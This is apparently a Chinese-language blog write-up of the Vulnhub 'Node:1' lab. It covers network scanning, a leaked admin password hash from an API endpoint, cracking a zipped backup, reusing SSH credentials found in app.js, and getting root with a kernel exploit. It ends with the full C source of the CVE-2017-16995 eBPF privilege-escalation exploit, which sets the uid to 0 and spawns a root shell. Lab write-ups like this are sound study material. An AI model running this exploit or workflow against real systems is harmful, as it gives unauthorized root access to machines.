Still Shines.

Vulnhub渗透笔记之Node:1

Word count: 3k / Reading time: 13 min
2018/09/30 Share

在漫长的拖延和犹豫之后,终于打算向vulnhub“下手”了,很早就打算把vulnhub上的题刷一遍。Vulnhub确实是一个非常不错的网站,上面的靶机都是非常值得探索的。然后对于渗透测试来讲,个人感觉动手实践才是快速提高的最有效的方法,之前的阶段一直停留在理论学习,所以今后还是要多动手操作呀。接下来开始进入正题:本次记录的是对vulnhub上的node1虚拟机的渗透过程。

Node:1

作者给的题目描述很简单:Node是一个中级boot2root挑战,最初是为HackTheBox创建的。可以找到两个flag(user和root flags)以及要使用的多种不同技术。OVA已经在VMware和Virtual Box上进行了测试。

看来我们最后是要拿到root权限,除此之外题目并没有提供其他对于解题的提示,因此猜测这题不会很难。

环境配置

两个虚拟机net模式连接。此时知道攻击机kali的ip地址为192.168.1.136。靶机开机后,不知道ip地址,也不知道用户名密码,这些都需要之后的信息收集,暂时能从虚拟机设置上看到靶机的物理地址。

信息收集

首先是要知道靶机的ip地址,现在已经把他们连在同一个网段中了,所以可以使用nmap扫描网段,或者使用netdiscover快速发现当前网段的主机。
使用nmap:

nmap -sP 192.168.1.0/24

使用netdiscover:

netdiscover -r 192.168.1.0/24

这里发现了许多的ip,但到底哪个是我们要找的呢。这里就要看之前了解的靶机的物理地址。可以知道靶机的ip地址是192.168.1.154。

之后,我们再用nmap进行端口和服务的扫描,看看靶机上开启了哪些服务。

nmap -sV 192.168.1.154

从扫描结果来看我们看到靶机开放了22端口和3000端口。22端口提供ssh服务,3000端口则提供了web服务。

Webshell

在收集到靶机的一些基本信息之后,我们打算先从web服务入手。我们先用浏览器访问这个http端口:

打开是一个网页,主页上简单的介绍了网站的信息,然后是目前三个用户,猜测这三个用户其中一个可能是后台的管理账户。接下来我们可以试着找一下网站的其他路径。我们这里使用burpsuite的爬虫功能模块。

首先设置好浏览器的代理,并打开burpsuite,在Target模块处可以看到一些网站的其他路径。这些也都是经过burpsuite抓到的包。

我们可以在这些路径中,发现一些有用的网页,比如配置信息,安装信息等。这里有一个路径引起了我的兴趣,就是/api/users/latest。因为有users存在,看看是否能得到一些用户信息。我们在浏览器中输入这个路径:

果然发现了用户名,甚至还包括了密码,是职业上显示的三个用户,但遗憾的是,他们都不是管理员账户,普通用户对于我们来说没有任何用处。我们接着使用burpsuite的爬虫看看有没有隐藏路径。

之后再看扫描的结果:

比之前多出了一个/api/users。我们访问这个路径:

发现多出了一个账户,而这个账户正是管理员账户。
账户名:myP14ceAdm1nAcc0uNT
密码:dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
密码显示是由MD5加密之后的字符串,我们需要把他破解。这里访问专门的MD5破解网站破解:http://www.cmd5.com/

运气不错,破解出来了。明文密码是manchester。之后我们使用这个用户名密码进行登录
。此时我们拿到了网站的后台管理权限,也就是webshell 。

破解

登录之后, 发现有一个备份包(Download Backup),先把他下载到本地,看看里面提供了什么有价值的信息。

下载下来的是一个叫myplace.black的文件,这里使用cat查看内容,发现里面是一大篇没有规则的字符串:

拉到最后看到有个“=”号,所以看形式应该是经过base64加密的。我们这里使用base64的解密工具:

base64 -d myplace.backup > myplace.zip

这里用base64解密之后,让他生成一个压缩包。

之后在本地我们就看到一个压缩包已经生成:

现在我们查看压缩包里面的内容:

可以看出这是整个网站的备份,但是当我们尝试解压的时候,就会提示要输入解压密码。

但现在还不知道解压密码是什么,我们可以尝试进行爆破。这里使用字典爆破,要先把密码字典准备好,然后使用zip压缩包密码爆破工具:fcrackzip

fcrackzip -D -p pass.txt -u myplace.zip

成功破解出密码:magicword

提权

在我们知道密码之后,就能打开压缩包查看里面的内容。但我们想要得到的是哪些内容呢。首先我们已经拿到了网站的管理员用户密码,之后我们想要获取到整个主机的权限,就需要提权。我们知道靶机还开放了ssh端口,这里可能就是我们的突破口,连接ssh的信息应该也放在了网站的配置文件中,而这就是我们想得到的东西。所以接下来就看看我们能否幸运地找到它吧。

上面查看过压缩包里面的内容,处理html静态页面之外,还有一个js的脚本文件:app.js我们打开它发现如下内容:

在其中,可以看到一个类似于ssh连接形式的配置。就是框起来的内容。mark不正是一个用户名吗,那之后的肯定就是密码了。我们尝试使用mark的用户名ssh方式连接靶机:

输入用户名:mark 和密码:5AYRft73VtFpc84k之后,成功登陆到靶机。
但此时的我们并没有root权限,还只是一个普通的用户:

接下来我们开始正式的提权,提权的思路有很多,这里我们已经使用ssh登陆上了靶机,并且发现了存在一个/tmp/文件夹具有rwt(读写和执行)的权限。

那我们就可以根据当前linux的版本,上传一个提权的exploit,这就是我们接着进行下去的思路。
先查看linux版本:

可以得知是linux 4.4.0
之后我们在kali上查找有没有相应的exploit。

符合我们查询条件的有这些,那到底用哪个呢?这里我们看到有一个本地提权的exploit,十分符合我们的需要,我们只要把它上传到靶机,然后进行提权就可以了。使用scp工具使exploit上传到/tmp文件夹:

scp /usr/share/exploitdb/exploits/linux/local/44298.c [email protected]:/tmp


然后在我们ssh连接到靶机的终端上编译上传上来的程序:

然后再执行:

运行成功,此时的我们的用户名也变成了root。并相应的拥有了root权限:

在root文件夹下,有一个文本文件,打开它,就是我们最终要拿到的flag:

工具

在本次渗透中,我们所使用的工具有:

•Nmap
•Netdiscover
•Burpsuite
•Base64
•Fcrackzip
•Searchsploit
•Scp

以上工具都已经在kali linux上安装好了。

exploit详情

漏洞编号:CVE-2017-16995

漏洞详情:
该漏洞由Google project zero发现。该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意读写漏洞。该漏洞是由eBPF验证模块的计算错误产生的。普通用户可以构造特殊的BPF来触发该漏洞,此外恶意攻击者也可以使用该漏洞来进行本地提权操作。

漏洞源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
/*
* Ubuntu 16.04.4 kernel priv esc
*
* all credits to @bleidl
* - vnik
*/

// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>

#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328

int sockets[2];
int mapfd, progfd;

char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x18\x19\x00\x00\x03\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x06\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x07\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x08\x00\x00\x00\x00\x00\x00"
"\xbf\x02\x00\x00\x00\x00\x00\x00"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x03\x00\x00\x00\x00\x00"
"\x79\x73\x00\x00\x00\x00\x00\x00"
"\x7b\x32\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x02\x00\x01\x00\x00\x00"
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x7b\x87\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00";

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version) {
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (__u64)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (__u64)license,
.log_buf = (__u64)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};

attr.kern_version = kern_version;

bpf_log_buf[0] = 0;

return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};

return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};

return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};

return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}

static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));

progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

if (progfd < 0)
__exit(strerror(errno));

if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));

if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
__exit(strerror(errno));
}

static void writemsg(void) {
char buffer[64];

ssize_t n = write(sockets[0], buffer, sizeof(buffer));

if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}

#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();

static uint64_t get_value(int key) {
uint64_t value;

if (bpf_lookup_elem(&key, &value))
__exit(strerror(errno));

return value;
}

static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);

return get_value(2);
}

static uint64_t __read(uint64_t addr) {
__update_elem(0, addr, 0);

return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
__update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
return addr & ~(0x4000 - 1);
}

static void pwn(void) {
uint64_t fp, sp, task_struct, credptr, uidptr;

fp = __get_fp();
if (fp < PHYS_OFFSET)
__exit("bogus fp");

sp = get_sp(fp);
if (sp < PHYS_OFFSET)
__exit("bogus sp");

task_struct = __read(sp);

if (task_struct < PHYS_OFFSET)
__exit("bogus task ptr");

printf("task_struct = %lx\n", task_struct);

credptr = __read(task_struct + CRED_OFFSET); // cred

if (credptr < PHYS_OFFSET)
__exit("bogus cred ptr");

uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET)
__exit("bogus uid ptr");

printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0); // set both uid and gid to 0

if (getuid() == 0) {
printf("spawning root shell\n");
system("/bin/bash");
exit(0);
}

__exit("not vulnerable?");
}

int main(int argc, char **argv) {
prep();
pwn();

return 0;
}

扩展链接

Boot2root挑战github链接:https://github.com/topics/boot2root
虚拟机下载:https://www.vulnhub.com/entry/node-1,252/
exploit源码:https://www.exploit-db.com/exploits/44298/

CATALOG
  1. 1. Node:1
  2. 2. 环境配置
  3. 3. 信息收集
  4. 4. Webshell
  5. 5. 破解
  6. 6. 提权
  7. 7. 工具
  8. 8. exploit详情
  9. 9. 扩展链接